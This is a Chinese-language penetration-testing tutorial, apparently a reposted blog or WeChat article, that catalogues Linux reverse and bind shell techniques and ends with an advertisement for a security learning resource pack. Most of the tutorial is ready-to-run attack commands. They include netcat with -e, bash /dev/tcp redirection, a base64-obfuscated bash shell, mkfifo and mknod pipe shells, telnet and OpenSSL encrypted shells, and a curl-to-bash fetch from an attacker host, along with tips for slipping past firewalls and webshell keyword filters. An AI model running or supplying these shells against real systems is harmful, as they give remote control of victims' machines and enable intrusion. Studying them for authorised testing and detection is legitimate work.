干货 | Linux之渗透测试常用反弹shell方法总结
1
免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
反弹shell介绍
反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:
正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
反向反弹: 被控端主动发送请求连接我们的控制端。
这种方法是可以想办法避开防火墙和路由的一些限制的!
常用反弹方式
测试机器:
- kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)
- contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)
NetCat(NC)反弹
无论是Windows还是Linux都是可以使用NC进行反弹的。
正向NC
正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接
# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息) nc -lvvp 端口号 -e 使用的sh # 比如: nc -lvvp 4578 -e /bin/bash # 控制端 nc 目标IP 端口号 # 比如 nc 43.128.11.131 4578 # msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter) payload/cmd/unix/bind_netcat payload/cmd/unix/reverse_netcat反向NC
被控端反向shell种类非常多
可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/
下面我会详细剖析一些常用的被控端反向shell的命令原理!
使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测
但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施
为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。
# 控制端: nc –lvvp 端口 # 被控端: nc -e /bin/bash IP 端口一般直接使用nc反弹的shell并不是很稳定
并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数)
这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!
# 其他反弹shell命令 # 最基础的命令,下面有详解 bash -i >& /dev/tcp/IP/端口 0>&1 ## 这个命令和上面的是等价的,只是写法有点不同! bash -i > /dev/tcp/IP/端口 0>&1 2>&1 ## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符 ## `cat <&5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令 ## `while read line; do $line 2>&5 >&5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中 exec 5<>/dev/tcp/IP/端口;cat <&5 | whileread line; do$line 2>&5 >&5; done ## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。 0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181 ## 这里和第一个命令一样,只是多了一层base64的编码! bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i" # msf攻击载荷 cmd/unix/bind_netcat cmd/unix/reverse_netcat如果目标机器
/dev/tcp也无法使用,这可以尝试使用下面方法!
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe # 使用msf生成 ## 比如 msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngirm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)
mkfifo /tmp/临时文件:mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符
传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)
cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令
/bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件
msf可以自动的快速生成这种命令!
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe
mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)
Telnet反弹
telnet命令: 用于登录远程主机,对远程主机进行管理
它是ssh前辈,但因为安全性方面远不如ssh
甚至直接是使用明文传输数据的,已经逐步被弃用了
但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。
正向shell
# 攻击机开启两个端口进行监听一个用于输入,一个用于输出 nc -lvvp 输入端口 nc -lvvp 输出端口 # 目标机 telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口反向shell
# 攻击机 nc -lvvp 端口 # 目标机: rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>aOpenSSL
SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库
具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。
首先我们利用此库反弹shell,需要生成一个秘钥文件
# 生成秘钥(在我们攻击机上生成的) openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # 在攻击机中启动监听(在之前生成秘钥的文件夹中执行) openssl s_server -quiet -key key.pem -cert cert.pem -port 443 # 在目标机器上反弹shell mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)
Curl
没错,这就是Linux系统中的下载命令
因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!
首先我们需要在公网服务器中创建一个index.html文件
并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。
# 攻击端: echo'bash -i >& /dev/tcp/IP/端口' > index.html # 比如 echo'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html # 这里&是让这个命令后台执行 python3 -m http.server & nc -lvvp 4545 # 目标机: curl 43.128.11.131:8000|bash学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
读者福利 |CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
一、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
二、部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
三、适合学习的人群
基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
文章来自网上,侵权请联系博主